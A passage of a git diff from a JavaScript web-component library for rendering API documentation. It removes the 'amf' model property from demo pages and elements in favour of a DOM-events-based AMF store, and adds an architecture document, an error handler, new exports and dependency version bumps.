   componentTemplate() {
     const { 
-        demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri, baseUri, serverId,
+        demoStates, darkThemeActive, selectedId, tryIt, overrideBaseUri, baseUri, serverId,
         renderSecurity, renderCodeSnippets,
     } = this;
     if (!selectedId) {
@@ -158,7 +158,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-operation-document
-        .amf="${amf}"
         .domainId="${selectedId}"
         .baseUri="${finalBaseUri}"
         .serverId="${serverId}"
@@ -257,7 +256,6 @@ class ComponentPage extends AmfDemoBase {
       <h2>API request</h2>
       <anypoint-dialog-scrollable>
         <api-request
-          .amf="${this.amf}"
           .domainId="${this.selectedId}"
           ?anypoint="${this.anypoint}"
           urlLabel
@@ -280,14 +278,12 @@ class ComponentPage extends AmfDemoBase {
    */
   serverSelectorTemplate() {
     const {
-      amf,
       serverType,
       serverValue,
       anypoint,
     } = this;
     return html`
     <api-server-selector
-      .amf="${amf}"
       .value="${serverValue}"
       .type="${serverType}"
       autoSelect
diff --git a/demo/api-payload.js b/demo/api-payload.js
index 4ba3b60..afda5bd 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -167,7 +167,7 @@ class ComponentPage extends AmfDemoBase {
    */
   payloadTemplate(payload) {
     return html`
-    <api-payload-document .amf="${this.amf}" .domainModel="${payload}"></api-payload-document>
+    <api-payload-document .domainId="${payload['@id']}"></api-payload-document>
     `;
   }
 
diff --git a/demo/api-request.js b/demo/api-request.js
index 71b62cc..215ddd9 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -167,7 +167,6 @@ class ComponentDemo extends AmfDemoBase {
       darkThemeActive,
       outlined,
       anypoint,
-      amf,
       redirectUri,
       allowCustom,
       allowHideOptional,
@@ -188,7 +187,6 @@ class ComponentDemo extends AmfDemoBase {
     >
       <div slot="content">
         <api-request
-          .amf="${amf}"
           .domainId="${selectedAmfId}"
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 786138c..573dd28 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -139,7 +139,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryItButton, tryItPanel, overrideBaseUri, baseUri, serverId } = this;
+    const { demoStates, darkThemeActive, selectedId, selectedOperation, tryItButton, tryItPanel, overrideBaseUri, baseUri, serverId } = this;
     if (!selectedId) {
       return html`<p>Select API operation in the navigation</p>`;
     }
@@ -157,7 +157,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-resource-document
-        .amf="${amf}"
         .domainId="${selectedId}"
         .operationId="${selectedOperation}"
         .serverId="${serverId}"
@@ -245,7 +244,6 @@ class ComponentPage extends AmfDemoBase {
       <h2>API request</h2>
       <anypoint-dialog-scrollable>
         <api-request
-          .amf="${this.amf}"
           .domainId="${this.selectedOperation}"
           ?anypoint="${this.anypoint}"
           urlLabel
@@ -268,14 +266,12 @@ class ComponentPage extends AmfDemoBase {
    */
   serverSelectorTemplate() {
     const {
-      amf,
       serverType,
       serverValue,
       anypoint,
     } = this;
     return html`
     <api-server-selector
-      .amf="${amf}"
       .value="${serverValue}"
       .type="${serverType}"
       autoSelect
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index 921c428..6fae9c8 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -124,7 +124,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   _componentTemplate() {
-    const { demoStates, darkThemeActive, selectedId, amf, forceExamples, shape, mediaType, noReadOnly } = this;
+    const { demoStates, darkThemeActive, selectedId, forceExamples, shape, mediaType, noReadOnly } = this;
     if (!selectedId && !shape) {
       return html`<p>Select API object in the navigation</p>`;
     }
@@ -136,8 +136,7 @@ class ComponentPage extends AmfDemoBase {
     >
       <api-schema-document 
         slot="content"
-        .amf="${amf}"
-        .domainModel="${shape}"
+        .domainId="${shape['@id']}"
         domainId="${ifDefined(selectedId)}"
         mimeType="${ifDefined(mediaType)}"
         ?forceExamples="${forceExamples}"
diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index 976260e..039bcc4 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -63,7 +63,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   _componentTemplate() {
-    const { demoStates, darkThemeActive, selectedId, amf, settingsOpened } = this;
+    const { demoStates, darkThemeActive, selectedId, settingsOpened } = this;
     if (!selectedId) {
       return html`<p>Select API documentation in the navigation</p>`;
     }
@@ -74,7 +74,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-security-document
-        .amf="${amf}"
         .domainId="${selectedId}"
         ?settingsOpened="${settingsOpened}"
         slot="content"
diff --git a/demo/api-summary.js b/demo/api-summary.js
index d820f4e..1b63142 100644
--- a/demo/api-summary.js
+++ b/demo/api-summary.js
@@ -53,7 +53,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, amf, overrideBaseUri } = this;
+    const { demoStates, darkThemeActive, overrideBaseUri } = this;
     return html`
     <arc-interactive-demo
       .states="${demoStates}"
@@ -61,7 +61,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-summary
-        .amf="${amf}"
         .baseUri="${overrideBaseUri ? 'https://custom.api.com' : undefined}"
         @apinavigate="${this._navigationHandler}"
         slot="content"
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index 07bc96b..cd14fe8 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -14,6 +14,7 @@ import './ApiStyles.js';
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
 /** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../../src/events/ReportingEvents').ReportingErrorEventDetail} ReportingErrorEventDetail */
 
 const routes = [
   {
@@ -39,7 +40,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
   constructor() {
     super();
     this.initObservableProperties(["initialized", "loaded", 'selectedFile']);
-    this.store = new DomEventsAmfStore(undefined, window);
+    this.store = new DomEventsAmfStore(window);
     this.store.listen();
 
     this.loaded = false;
@@ -91,6 +92,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
      */
     this.selectedFile = undefined;
     window.addEventListener(EventTypes.Navigation.apiNavigate, this._navChanged.bind(this));
+    window.addEventListener(EventTypes.Reporting.error, this._errorHandler.bind(this));
 
     document.body.classList.add('api');
     this.autoLoad();
@@ -158,6 +160,17 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     navigate('file', file);
   }
 
+  /**
+   * Handler for the API errors
+   * @param {CustomEvent} e
+   */
+  _errorHandler(e) {
+    const info = /** @type ReportingErrorEventDetail */ (e.detail);
+    const { description, component='Unknown component', error } = info;
+    console.error(`[${component}]: ${description}`);
+    console.error(error);
+  }
+
   /** @param {string} file */
   async _loadFile(file) {
     this.loaded = false;
@@ -175,7 +188,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
    * This method to be overridden in child class to handle navigation.
    * @param {ApiNavigationEvent} e Dispatched navigation event
    */
-   _navChanged(e) {
+  _navChanged(e) {
     const { domainId, domainType } = e.detail;
     // eslint-disable-next-line no-console
     console.log(`Navigation changed. Type: ${domainId}, selected: ${domainType}`);
diff --git a/demo/request-editor.js b/demo/request-editor.js
index 1c360bf..2133df4 100644
--- a/demo/request-editor.js
+++ b/demo/request-editor.js
@@ -16,7 +16,7 @@ class ComponentDemo extends AmfDemoBase {
     super();
     this.initObservableProperties([
       'outlined',
-      'selectedAmfId',
+      'domainId',
       'allowCustom',
       'allowHideOptional',
       'responseBody',
@@ -58,15 +58,21 @@ class ComponentDemo extends AmfDemoBase {
     this.authSettingsValue = value ? JSON.stringify(value, null, 2) : '';
   }
 
+  /** @param {string} file */
+  async _loadFile(file) {
+    await super._loadFile(file);
+    this.domainId = undefined;
+  }
+
   /**
    * @param {ApiNavigationEvent} e
    */
   _navChanged(e) {
-    this.selectedAmfId = undefined;
+    this.domainId = undefined;
     this.responseBody = undefined;
     const { domainId, domainType } = e.detail;
     if (domainType === 'operation') {
-      this.selectedAmfId = domainId;
+      this.domainId = domainId;
       this.hasData = true;
     } else {
       this.hasData = false;
@@ -198,11 +204,10 @@ class ComponentDemo extends AmfDemoBase {
       darkThemeActive,
       outlined,
       anypoint,
-      amf,
       redirectUri,
       allowCustom,
       allowHideOptional,
-      selectedAmfId,
+      domainId,
       responseBody,
       urlLabel,
       urlEditor,
@@ -218,8 +223,7 @@ class ComponentDemo extends AmfDemoBase {
     >
       <div slot="content">
         <api-request-editor
-          .amf="${amf}"
-          .domainId="${selectedAmfId}"
+          .domainId="${domainId}"
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
           ?outlined="${outlined}"
@@ -231,7 +235,7 @@ class ComponentDemo extends AmfDemoBase {
           .redirectUri="${redirectUri}"
           ?noServerSelector="${noServerSelector}"
           ?allowCustomBaseUri="${allowCustomBaseUri}"
-          @api-request="${this._apiRequestHandler}"
+          @apirequest="${this._apiRequestHandler}"
           @change="${this.requestChangeHandler}"
         >
           ${this._addCustomServers()}
diff --git a/demo/server-selector.js b/demo/server-selector.js
index 95a0d30..fd8b6fd 100644
--- a/demo/server-selector.js
+++ b/demo/server-selector.js
@@ -18,8 +18,8 @@ class ComponentDemo extends AmfDemoBase {
       "allowCustom",
       "serversCount",
       "autoSelect",
-      'selectedShape',
-      'selectedShapeType',
+      'domainId',
+      'domainType',
     ]);
     this.componentName = 'api-server-selector';
     this.renderViewControls = true;
@@ -50,8 +50,8 @@ class ComponentDemo extends AmfDemoBase {
       this.servers = null;
       return;
     }
-    this.selectedShape = domainId;
-    this.selectedShapeType = domainType;
+    this.domainId = domainId;
+    this.domainType = domainType;
   }
 
   /**
@@ -110,7 +110,6 @@ class ComponentDemo extends AmfDemoBase {
 
   componentTemplate() {
     const {
-      amf,
       demoStates,
       darkThemeActive,
       anypoint,
@@ -120,8 +119,8 @@ class ComponentDemo extends AmfDemoBase {
       selectedServer,
       serversCount,
       autoSelect,
-      selectedShape,
-      selectedShapeType,
+      domainId,
+      domainType,
     } = this;
     return html`
     <arc-interactive-demo
@@ -132,13 +131,12 @@ class ComponentDemo extends AmfDemoBase {
     >
       <div class="selector-container" slot="content">
         <api-server-selector
-          .amf="${amf}"
           ?anypoint="${anypoint}"
           ?allowCustom="${allowCustom}"
           ?outlined="${outlined}"
           ?autoSelect="${autoSelect}"
-          .selectedShape="${selectedShape}"
-          .selectedShapeType="${selectedShapeType}"
+          .domainId="${domainId}"
+          .domainType="${domainType}"
           @apiserverchanged="${this._apiSrvHandler}"
           @serverscountchanged="${this._countHandler}"
         >
diff --git a/docs/docs/architecture.md b/docs/docs/architecture.md
new file mode 100644
index 0000000..e0cd85d
--- /dev/null
+++ b/docs/docs/architecture.md
@@ -0,0 +1,56 @@
+# API Components architecture
+
+API Components is a set of web components based on the LitElement library. Their primary purpose is to visualizes the AMF graph model in a form of a developer documentation portal. In most cases AMF generates models for APIs (at least for the use of MuleSoft) but in the future the library may expand the number of supported models.
+
+## Working with the graph model
+
+Previously, the API components were passively consuming the graph model by setting the `amf` property. This was the easies way to build the components and to pass values needed to render the documentation. However, over the years we have got a number of use cases where this architecture is not efficient anymore. For the use cases like querying a backend for partial models, or supporting different formats of the graph model (like flattened model) we had to came up with a series of workarounds. These were usually put into the `AmfHelperMixin` mixin or directly in the `<api-documentation>`. This doesn't scale well and we needed to design a more scalable solution.
+
+## Introducing the AmfStore
+
+AMF store is a library that has an interface that is used by the API components to request for specific data from the store. The components actively query the store via the DOM events when they need a new information to render the view. For example, API operation document (the `<api-operation-document>` element) actively queries the store when the current selection change (the `domainId` and sometimes `domainType` properties). The store reads the graph from it's own store (by default it is in-memory raw js+ld model), transforms it to the expected format, and response to the request.
+
+Only the major API components are querying the store for the data. The rest expects the values to be passed via properties.
+
+The following elements query the store:
+
+- api-documentation
+- api-channel-document
+- api-documentation-document
+- api-operation-document
+- api-payload-document
+- api-request-document
+- api-request-editor
+- api-resource-document
+- api-response-document
+- api-security-document
+- api-security-requirement-document
+- api-server-selector
+- api-summary
+
+For convenience this library offers a version of the store that has the DOM events listeners attached: `DomEventsAmfStore`. When using this class the developer need to set the AMF model only on the instance of `DomEventsAmfStore`. These events are registered in the src/store/AmfStoreDomEventsMixin.js mixin.
+
+Because these components of the store are decoupled, a developer has flexibility of implementing their own version of the store that processes data from a different location (like AMF service or an HTTP store). See `demo/lib/AmfPartialGraphStore.js` for an example of a such implementation.
+
+## Components structure
+
+For the majority of use cases, at least for an API documentation purpose, a developer needs to use only 3 major components: `api-navigation`, `api-documentation`, and `api-request`. This components represent the three major UI regions of an API documentation (in order): navigation through the API, presenting the documentation, and rendering an HTTP editor.
+
+These components work together when the `handleNavigationEvents` property is set in the documentation and the HTTP request editor. One a user makes a selection in the navigation the other two will handle the event and change the selection to render selected view. However, this won't work in some cases like when the components are being attached to the DOM. Therefore you need to decide to have a default selection, like `summary` view.
+
+Another way of dealing with the selection is to handle the navigation event, set the selection state in your application, and propagate it to the components.
+
+## DOM events
+
+The way HTML elements communicate with each other are DOM events. This library has a definition of all events used by the components and the store.
+
+```javascript
+import { ApiEvents, ApiEventTypes } from '@api-components/amf-components';
+
+const servers = await ApiEvents.Server.query(document.body); // queries for the list of servers in the current API
+
+// the event dispatched when a navigation occur.
+window.addEventListener(ApiEventTypes.Navigation.apiNavigate, (e) => {
+  console.log(e.detail);
+});
+```
diff --git a/index.d.ts b/index.d.ts
index 7010bc2..7da4016 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -20,7 +20,7 @@ export { default as ApiNavigationElement } from './src/elements/ApiNavigationEle
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement';
-export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement.js';
+export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement';
 export * as InputCache from './src/lib/InputCache';
 export * as UrlLib from './src/lib/UrlUtils';
 export * as Utils from './src/lib/Utils';
@@ -35,10 +35,12 @@ export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator';
 export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator';
 export { ApiSchemaValues } from './src/schema/ApiSchemaValues';
 export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator';
-export * from './src/events/EventTypes';
-export * from './src/events/Events';
+export { EventTypes as ApiEventTypes } from './src/events/EventTypes';
+export { Events as ApiEvents } from './src/events/Events';
 export { ApiNavigationEventDetail } from './src/events/NavigationEvents';
 export { ReportingErrorEventDetail } from './src/events/ReportingEvents';
 export { AbortRequestEvent, ApiRequestEvent, ApiResponseEvent } from './src/events/RequestEvents';
 export { ServerChangeEvent, ServerChangeEventDetail, ServerCountChangeEvent, ServerCountChangeEventDetail } from './src/events/ServerEvents';
 export { TelemetryCustomMetric, TelemetryCustomValue, TelemetryDetail, TelemetryEventDetail, TelemetryExceptionDetail, TelemetryScreenViewDetail, TelemetrySocialDetail, TelemetryTimingDetail } from './src/events/TelemetryEvents';
+export { DomEventsAmfStore } from './src/store/DomEventsAmfStore';
+export { AmfStore } from './src/store/AmfStore';
diff --git a/index.js b/index.js
index a705d92..874c6bf 100644
--- a/index.js
+++ b/index.js
@@ -22,8 +22,8 @@ export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurit
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement.js';
 export { default as ApiDocumentationElement } from './src/elements/ApiDocumentationElement.js';
-export * from './src/events/EventTypes.js';
-export * from './src/events/Events.js';
+export { EventTypes as ApiEventTypes } from './src/events/EventTypes.js';
+export { Events as ApiEvents } from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
 export * as UrlLib from './src/lib/UrlUtils.js';
 export * as Utils from './src/lib/Utils.js';
@@ -35,3 +35,5 @@ export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator.js';
 export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator.js';
 export { ApiSchemaValues } from './src/schema/ApiSchemaValues.js';
 export { ApiSchemaGenerator } from './src/schema/ApiSchemaGenerator.js';
+export { DomEventsAmfStore } from './src/store/DomEventsAmfStore.js';
+export { AmfStore } from './src/store/AmfStore.js';
diff --git a/package-lock.json b/package-lock.json
index 50fa67a..a91ec20 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -99,9 +99,9 @@
       "integrity": "sha512-ln7TGYaiGGRiXFHxo722EPcEDSccq+jclDRYTOTrRp3fTvUrm8P+tHCPFJTGa68Hi/rDhMZN3SkfF3+thtM7eQ=="
     },
     "@anypoint-web-components/awc": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/@anypoint-web-components/awc/-/awc-1.0.4.tgz",
-      "integrity": "sha512-/go0TyHPYtQjbTkJAlCT4nDWKvjSnQFp0gsVcwzmKPY4qfEfw2xlpOkzIw7jVOTKv+eKjfJgXk22Uub7kEGs6g==",
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/@anypoint-web-components/awc/-/awc-1.0.5.tgz",
+      "integrity": "sha512-0qPbkmrsI0G6/aiH2Q84G1svoBM+46NsExo3mwgR4KdAe/6E8WPF3wT7vi/Gezm18JfoxBcsSQ+rnRyeBHz9SA==",
       "requires": {
         "@open-wc/dedupe-mixin": "^1.3.0",
         "lit-element": "^2.5.1",
@@ -5440,9 +5440,9 @@
       "dev": true
     },
     "husky": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.2.tgz",
-      "integrity": "sha512-8yKEWNX4z2YsofXAMT7KvA1g8p+GxtB1ffV8XtpAEGuXNAbCV5wdNKH+qTpw8SM9fh4aMPDR+yQuKfgnreyZlg==",
+      "version": "7.0.4",
+      "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.4.tgz",
+      "integrity": "sha512-vbaCKN2QLtP/vD4yvs6iz6hBEo6wkSzs8HpRah1Z6aGmF2KW5PdYuAd7uX5a+OyBZHBhd+TFLqgjUgytQr4RvQ==",
       "dev": true
     },
     "iconv-lite": {
diff --git a/package.json b/package.json
index 44c59b6..c8fb3c2 100644
--- a/package.json
+++ b/package.json
@@ -36,7 +36,7 @@
     "@advanced-rest-client/http-code-snippets": "^4.0.0",
     "@advanced-rest-client/icons": "^4.0.0",
     "@advanced-rest-client/uuid": "^4.0.0",
-    "@anypoint-web-components/awc": "^1.0.4",
+    "@anypoint-web-components/awc": "^1.0.5",
     "@open-wc/dedupe-mixin": "^1.3.0",
     "@pawel-up/data-mock": "^0.1.7",
     "amf-json-ld-lib": "0.0.14",
@@ -57,7 +57,7 @@
     "amf-client-js": "^4.7.8",
     "eslint": "^8.0.1",
     "eslint-config-prettier": "^8.3.0",
-    "husky": "^7.0.2",
+    "husky": "^7.0.4",
     "lint-staged": "^11.2.2",
     "sinon": "^11.1.2",
     "typescript": "^4.4.4",
diff --git a/src/elements/ApiAnnotationDocumentElement.d.ts b/src/elements/ApiAnnotationDocumentElement.d.ts
index 096672d..f5522cc 100644
--- a/src/elements/ApiAnnotationDocumentElement.d.ts
+++ b/src/elements/ApiAnnotationDocumentElement.d.ts
@@ -1,7 +1,5 @@
 import { LitElement, TemplateResult } from 'lit-element';
 import { ApiDomainProperty, ApiCustomDomainProperty, ApiScalarNode, ApiObjectNode } from '../helpers/api';
-import { DomainElement } from '../helpers/amf';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
 
 export const shapeValue: unique symbol;
 export const processShape: unique symbol;
@@ -21,11 +19,7 @@ export const objectScalarPropertyTemplate: unique symbol;
  * Annotations are part of RAML language and API console supports it.
  * The element looks for annotations in model and renders them.
  */
-export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) {
-  /**
-   * A domain property that may have custom domain properties
-   */
-  shape: DomainElement;
+export default class ApiAnnotationDocumentElement extends LitElement {
   /**
    * Serialized with `ApiSerializer` API domain model.
    * This is to be used instead of `shape`.
diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js
index efbbae4..d5f9149 100644
--- a/src/elements/ApiAnnotationDocumentElement.js
+++ b/src/elements/ApiAnnotationDocumentElement.js
@@ -3,8 +3,6 @@
 import { LitElement, html } from 'lit-element';
 import '@advanced-rest-client/icons/arc-icon.js';
 import elementStyles from './styles/ApiAnnotation.js';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import { ns } from '../helpers/Namespace.js';
 
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
@@ -32,30 +30,11 @@ export const objectScalarPropertyTemplate = Symbol('objectScalarPropertyTemplate
  * Annotations are part of RAML language and API console supports it.
  * The element looks for annotations in model and renders them.
  */
-export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElement) {
+export default class ApiAnnotationDocumentElement extends LitElement {
   get styles() {
     return elementStyles;
   }
 
-  /**
-   * @returns {DomainElement|undefined}
-   */
-  get shape() {
-    return this[shapeValue];
-  }
-
-  /**
-   * @param {DomainElement} value
-   */
-  set shape(value) {
-    const oldValue = this[shapeValue];
-    if (oldValue === value) {
-      return;
-    }
-    this[shapeValue] = value;
-    this[processShape]();
-  }
-
   /**
    * Serialized with `ApiSerializer` API domain model.
    * This is to be used instead of `shape`.
@@ -113,20 +92,14 @@ export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElem
 
   /**
    * Called when the shape property change.
-   * Sets `hasCustomProperties` and `customList` properties.
-   *
-   * Note that for performance reasons, if the element determine that there's
-   * no custom properties wit will not clear `customList`.
-   * It will be updated only if the value actually change.
    */
   [processShape]() {
-    const shape = /** @type DomainElement */ (this[shapeValue]);
+    const shape = /** @type ApiDomainProperty */ (this[shapeValue]);
     this[propertiesValue] = undefined;
     if (!shape) {
       return;
     }
-    const serializer = new AmfSerializer(this.amf);
-    const result = serializer.customDomainProperties(shape);
+    const result = shape.customDomainProperties;
     if (Array.isArray(result) && result.length) {
       this[propertiesValue] = result;
     }
diff --git a/src/elements/ApiAuthorizationEditorElement.d.ts b/src/elements/ApiAuthorizationEditorElement.d.ts
index 0003f80..788ef37 100644
--- a/src/elements/ApiAuthorizationEditorElement.d.ts
+++ b/src/elements/ApiAuthorizationEditorElement.d.ts
@@ -1,6 +1,5 @@
 import { TemplateResult, LitElement } from 'lit-element';
 import { ApiParametrizedSecurityScheme, ApiSecurityRequirement, } from '../helpers/api';
-import { AmfDocument, } from '../helpers/amf';
 import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { RequestAuthorization } from '@advanced-rest-client/events/src/request/ArcRequest';
 import { default as ApiAuthorizationMethodElement } from './ApiAuthorizationMethodElement';
@@ -31,11 +30,6 @@ export const createSettings: unique symbol;
 
 export default class ApiAuthorizationEditorElement extends LitElement {
   security: ApiSecurityRequirement;
-
-  /** 
-   * The AMF graph model of the API.
-   */
-  amf: AmfDocument;
   /**
    * Current HTTP method. Passed by digest method.
    * @attribute
diff --git a/src/elements/ApiAuthorizationEditorElement.js b/src/elements/ApiAuthorizationEditorElement.js
index cfe05ae..c441c4f 100644
--- a/src/elements/ApiAuthorizationEditorElement.js
+++ b/src/elements/ApiAuthorizationEditorElement.js
@@ -6,7 +6,6 @@ import elementStyles from './styles/AuthorizationEditor.js';
 import '../../define/api-authorization-method.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
@@ -68,10 +67,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
 
   static get properties() {
     return {
-      /** 
-       * The AMF graph model of the API.
-       */
-      amf: { type: Object },
       // Current HTTP method. Passed by digest method.
       httpMethod: { type: String },
       // Current request URL. Passed by digest method.
@@ -131,8 +126,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
 
   constructor() {
     super();
-    /** @type {DomainElement} */
-    this.amf = undefined;
     /** @type {ApiSecurityRequirement} */
     this[securityValue] = undefined;
     /** @type string */
@@ -381,11 +374,10 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [basicAuthTemplate](security) {
-    const { anypoint, outlined, amf, globalCache } = this;
+    const { anypoint, outlined, globalCache } = this;
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
-      .amf="${amf}"
       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
@@ -408,7 +400,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       httpMethod,
       requestUrl,
       requestBody,
-      amf,
       globalCache,
     } = this;
     return html`
@@ -417,7 +408,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
-      .amf="${amf}"
       .httpMethod="${httpMethod}"
       .requestUrl="${requestUrl}"
       .requestBody="${requestBody}"
@@ -434,14 +424,13 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [passThroughAuthTemplate](security, renderTitle) {
-    const { anypoint, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
-      .amf="${amf}"
       .security="${security}"
       type="pass through"
       @change="${this[changeHandler]}"
@@ -455,12 +444,11 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [ramlCustomAuthTemplate](security) {
-    const { anypoint, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, globalCache, } = this;
     return html`<api-authorization-method
       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
-      .amf="${amf}"
       .security="${security}"
       type="custom"
       @change="${this[changeHandler]}"
@@ -475,7 +463,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [bearerAuthTemplate](security, renderTitle) {
-    const { anypoint, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
@@ -483,7 +471,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="bearer"
-      .amf="${amf}"
       .security="${security}"
       @change="${this[changeHandler]}"
     ></api-authorization-method>`;
@@ -497,7 +484,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [oa1AuthTemplate](security, renderTitle) {
-    const { anypoint, outlined, oauth2RedirectUri, amf, globalCache, } = this;
+    const { anypoint, outlined, oauth2RedirectUri, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
@@ -506,7 +493,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       ?globalCache="${globalCache}"
       type="oauth 1"
       .redirectUri="${oauth2RedirectUri}"
-      .amf="${amf}"
       .security="${security}"
       @change="${this[changeHandler]}"
     ></api-authorization-method>`;
@@ -526,7 +512,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       credentialsSource,
       oauth2AuthorizationUri,
       oauth2AccessTokenUri,
-      amf,
       globalCache,
     } = this;
     return html`
@@ -539,7 +524,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       .redirectUri="${oauth2RedirectUri}"
       .overrideAuthorizationUri="${oauth2AuthorizationUri}"
       .overrideAccessTokenUri="${oauth2AccessTokenUri}"
-      .amf="${amf}"
       .security="${security}"
       .credentialsSource="${credentialsSource}"
       @change="${this[changeHandler]}"
@@ -560,7 +544,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       credentialsSource,
       oauth2AuthorizationUri,
       oauth2AccessTokenUri,
-      amf,
       globalCache,
     } = this;
     return html`
@@ -573,7 +556,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
       .redirectUri="${oauth2RedirectUri}"
       .overrideAuthorizationUri="${oauth2AuthorizationUri}"
       .overrideAccessTokenUri="${oauth2AccessTokenUri}"
-      .amf="${amf}"
       .security="${security}"
       .credentialsSource="${credentialsSource}"
       @change="${this[changeHandler]}"
@@ -587,7 +569,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [apiKeyTemplate](security) {
-    const { anypoint, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, globalCache, } = this;
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
@@ -595,7 +577,6 @@ export default class ApiAuthorizationEditorElement extends LitElement {
